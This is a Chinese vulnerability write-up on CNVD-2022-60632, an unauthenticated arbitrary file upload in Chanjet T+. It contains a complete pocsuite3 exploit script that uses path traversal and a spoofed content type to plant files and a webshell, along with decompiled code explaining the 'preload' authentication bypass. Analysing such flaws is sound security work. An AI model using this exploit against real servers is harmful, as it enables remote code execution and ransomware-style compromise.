概述:CNVD-2022-60632 畅捷通 T+ 任意文件上传漏洞
免责声明:本文所涉及的信息安全技术知识仅供参考 和学习之用,并不构成任何明示或暗示的保证。读者在使用本文提供的信息时,应自行判断其适用性,并承担由此产生的一切风险和责任。本文作者对于读者基于本文内容所做出的任何行为或决定不承担任何责任。在任何情况下,本文作者不对因使用本文内容而导致的任何直接、间接、特殊或后果性损失承担责任。读者在使用本文内容时应当遵守当地法律法规,并保证不违反任何相关法律法规。
漏洞说明
漏洞描述
2022年8月29日和8月30日,畅捷通公司紧急发布安全补丁修复了畅捷通T+软件任意文件上传漏洞 。未经身份认证的攻击者利用该漏洞,通过绕过系统鉴权,在特定配置环境下实现任意文件的上传,从而执行任意代码,获得服务器控制权限。目前,已有用户被不法分子利用该漏洞进行勒索病毒攻击的情况出现。
CNVD对该漏洞的综合评级为“高危”。
影响范围
漏洞影响的产品和版本:
畅捷通T+单机版<=17.0且使用IIS10.0以下版本。
POC
POC 使用了 pocsuit 工具,pocsuit 是使用 Python 编写的一个专门用于 POC 编写开发使用的工具集。
如何使用 pocsuit 工具跑 poc?
以下方 POC 代码为例,运行 POC 命令如下所示:
1 pocsuite -r .\CNVD-2022 -60632 .py -u http://localhost:80 / --verify
文件架构如下所示:
上传的文件为 bin 目录下的 dll 文件和 compiled 文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from collections import OrderedDictfrom urllib.parse import urljoinimport refrom pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPEfrom pocsuite3.api import OrderedDict, OptStringimport jsonimport osclass ChanJetPOC (POCBase ): vulID = '0' version = '1' author = ['' ] vulDate = '2022-09-23' createDate = '2022-09-23' updateDate = '2022-09-23' references = ['' ] name = '畅捷通T+ 任意文件上传' appPowerLink = '' appName = '畅捷通T+' appVersion = '''畅捷通T+单机版<=17.0且使用IIS10.0以下版本''' vulType = VUL_TYPE.UPLOAD_FILES desc = ''' CNVD-2022-60632 畅捷通T+ 任意文件上传漏洞 ''' samples = ['' ] install_requires = ['' ] pocDesc = ''' 检测:pocsuite -r .\poc++.py -u url(-f url.txt) --verify ''' category = POC_CATEGORY.EXPLOITS.REMOTE def _verify (self ): result = {} path = "/tplus/SM/SetupAccount/Upload.aspx?preload=1" headers = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36' , } url = self.url + path filename = os.listdir('bin' ) filename_compiled = filename[0 ] filename_dll = filename[1 ] try : files = {"File1" : ("../../../bin/" +filename_compiled+"" ,open ('bin/' +filename_compiled, "rb" ), "image/jpeg" )} resq_0 = requests.post(url=url, headers=headers, files=files, timeout=1000 ) files = {"File1" : ("../../../bin/" +filename_dll+"" ,open ('bin/' +filename_dll, "rb" ), "image/jpeg" )} resq_1 = requests.post(url=url, headers=headers, files=files, timeout=1000 ) if resq_0.status_code == 200 and resq_1.status_code == 200 : result['VerifyInfo' ] = {} result['VerifyInfo' ]['URL' ] = url result['VerifyInfo' ]['shell' ] = self.url + '/tplus/shell.aspx?preload=1' except Exception as e: print (e) return return self.parse_output(result) def _attack (self ): return self._verify() def parse_attack (self, result ): output = Output(self) if result: output.success(result) else : output.fail('target is not vulnerable' ) return output def _shell (self ): return def parse_output (self, result ): output = Output(self) if result: output.success(result) else : output.fail('target is not vulnerable' ) return output register_poc(ChanJetPOC)
漏洞分析
分析内容参考了其他作者的内容,仅学习记录,供参考。
前提环境,请求的 Params 中 preload
设置为 1
的目的是为了跳过登录认证,这个参数在畅捷通未登录情况下不能少。
漏洞位置为 upload 相关接口。在畅捷通环境下查看相关文件:
TPlusStd\WebSite\SM\SetupAccount\upload.aspx:预编译文件,无实际内容,查看相关编译文件
\TPlusStd\WebSite\bin\upload.aspx.9475d17f.compiled:upload 相关逻辑预编译文件,指明了产物及编译所需的文件,内容如下所示:
查看编译产物 App_Web_upload.aspx.9475d17f.dll
,通过 dnSpy 查看 dll 内容。
dnSpy 反编译的 Page_Load
函数内容如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 protected void Page_Load (object sender, EventArgs e ) { this .ReadResources(); if (base .Request.Files.Count == 1 ) { string text = "images/index.gif" ; object obj = this .ViewState["fileName" ]; if (obj != null ) { text = obj.ToString(); } if (this .File1.PostedFile.ContentLength > 204800 ) { base .Response.Write(string .Concat(new string [] { "<script language='javascript'>alert('" , this .PhotoTooLarge, "'); parent.document.getElementById('myimg').src='" , text, "';</script>" })); return ; } if (this .File1.PostedFile.ContentType != "image/jpeg" && this .File1.PostedFile.ContentType != "image/bmp" && this .File1.PostedFile.ContentType != "image/gif" && this .File1.PostedFile.ContentType != "image/pjpeg" ) { base .Response.Write(string .Concat(new string [] { "<script language='javascript'>alert('" , this .PhotoTypeError, "'); parent.document.getElementById('myimg').src='" , text, "';</script>" })); return ; } string fileName = this .File1.PostedFile.FileName; string text2 = fileName.Substring(fileName.LastIndexOf('\\' ) + 1 ); this .File1.PostedFile.SaveAs(base .Server.MapPath("." ) + "\\images\\" + text2); string value = base .Server.MapPath("." ) + "\\images\\" + text2; this .ViewState["fileName" ] = "images/" + text2; this .Session["ImageName" ] = value ; } }
函数的大致逻辑就是检查参数的 Content-Type 和文件大小(小于 200 KB),检查通过的话函数会继续往下执行。在 接口请求时已经修改过上传文件的 Content-Type 了,并且文件的大小也符合条件。条件允许范围内,任意后缀文件都可以上传。
附加到畅捷通进程调试截图如下所示:
可以看到上图这里已经保存了上传的文件。
补充:补充一下 preload
参数的校验逻辑
找一下 App_Web_upload.aspx.9475d17f 依赖的dll
查找和登录鉴权相关的接口
判断条件如下所示,当 flag 或者是以下所示的请求路径时,才会走到最终的请求,否则会在当前这个函数( Application_PreRequestHandlerExecute
)处理请求